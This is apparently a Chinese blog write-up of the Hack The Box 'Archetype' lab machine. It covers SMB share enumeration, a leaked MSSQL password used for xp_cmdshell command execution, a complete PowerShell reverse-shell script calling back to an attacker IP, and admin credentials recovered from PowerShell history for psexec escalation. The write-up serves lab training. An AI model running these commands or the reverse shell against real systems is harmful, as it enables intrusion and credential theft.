Archetype

0x00 信息搜集

nmap扫一下端口看看开了什么端口


image.png

发现是个windows的机器,然后看到445端口开着,这个是一个让我们可以在局域网中轻松访问各种共享文件夹或共享打印机的端口,使用的是SMB协议。

0x01 开始渗透

那用smb来看看共享的内容有什么好了,kali自带了一个smbclient工具哦:
smbclient -N -L //10.10.10.27/(图中那个斜杠是当时试的,没有查具体格式,懒得改了)

image.png

貌似只有bakups可以打开的样子

image.png

里面有一个配置文件,我们get下来看看里面有什么
image.png

发现里面有一个sql的连接密码,结合之前扫端口扫出来的1433端口是开启的,尝试连接一下,命令是
sqsh -U "ARCHETYPE\sql_svc" -P M3g4c0rp123 -S 10.10.10.27:1433 -m pretty
然后连接成功了
image.png

判断是否拥有sysadmin权限,用这句SELECT IS_SRVROLEMEMBER('sysadmin')

image.png

返回1证明是有的,能够在靶机上使用SQL Server的xp_cmdshell来进行远程代码执行
首先尝试执行以下命令:EXEC xp_cmdshell 'whoami';
image.png

说明是没有问题的,也就是说现在拥有了数据库的shell,也可以使用部分操作系统的命令。
看看当前目录:EXEC xp_cmdshell 'cd'
image.png

看看桌面有什么内容:EXEC xp_cmdshell 'dir ..\..\users\sql_svc\Desktop'

image.png

发现了user.txt,那就type一下就好了,但是这种方式一直没有办法回显,于是我们选择通过其他方法连接。
首先需要下载并安装impacket工具,然后通过mssqlclient来连接数据库(python3下的,不然会报错)
image.png

这下子再来读取user.txt:
xp_cmdshell type C:\Users\sql_svc\Desktop\user.txt

image.png

0x02 获取操作系统普通用户权限(nc监听不到,废了)

这个是因为我们需要一个直接的操作系统shell来进行后续的操作,所以要建立一个powershell的反向shell文件shell.ps1(注意其中的ip地址为接收shell的kali主机的地址,我的ip是10.10.14.165),代码如下:

$rev_ip = "10.10.14.165"

$client = New-Object System.Net.Sockets.TCPClient($rev_ip,443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
    }
$client.Close()

接下来要用python搭建一个http服务器,监听80端口来供靶机下载shell.ps1文件,我这边kali的python版本是2.7,所以命令是sudo python -m SimpleHTTPServer 80,python3的话应该是这句python -m http.server 80

image.png

在kali中启动netcat监听443端口,等待靶机反向shell连接(端口号需要与shell.ps1中相对应):


image.png

由于nc一直没有反应所以,我的这一步并没有成功进行下去,到那时我觉得毫不影响后续提权操作。

0x03 直接提权

拿到user的flag之后尝试一下检查历史命令:
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
看一下回显结果

image.png

意外发现有administrator用户名和密码,可以使用Impacket中的psexec.py来提权(python3下的,不然会报错)
psexec.py administrator@10.10.10.27
然后成功之后,type一下root.txt,获得flag:
type C:\Users\Administrator\Desktop\root.txt

image.png

0x04 补充内容

smbclient的命令

-N:匿名登录
-L:获取共享资源列表

windows下的命令

get:下载文件到本地机器。
type:用来显示ascii码文件的内容,尤其可以用来在屏幕上快速、简便地显示TXT文本文件的内容。

安装impacket

推荐参考这篇文章如何在kali下安装impacket

如果脚本运行有问题

检查一下自己的ip有没有写对,\与/要分清楚,python3下和python2下命令是不一样的,而且脚本运行环境也不一样,推荐python环境2,3共存。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者...
    小浪崇礼阅读 1,551评论 0 0
  • 标签:SMB共享、hydra爆破、端口转发、命令注入、mysql提权 0x00 环境准备 下载地址:https:/...
    z1挂东南阅读 1,460评论 0 0
  • 我是黑夜里大雨纷飞的人啊 1 “又到一年六月,有人笑有人哭,有人欢乐有人忧愁,有人惊喜有人失落,有的觉得收获满满有...
    陌忘宇阅读 8,607评论 28 53
  • 信任包括信任自己和信任他人 很多时候,很多事情,失败、遗憾、错过,源于不自信,不信任他人 觉得自己做不成,别人做不...
    吴氵晃阅读 6,232评论 4 8
  • 怎么对待生活,它也会怎么对你 人都是哭着来到这个美丽的人间。每个人从来到尘寰到升入天堂,整个生命的历程都是一本书,...
    静静在等你阅读 5,025评论 1 6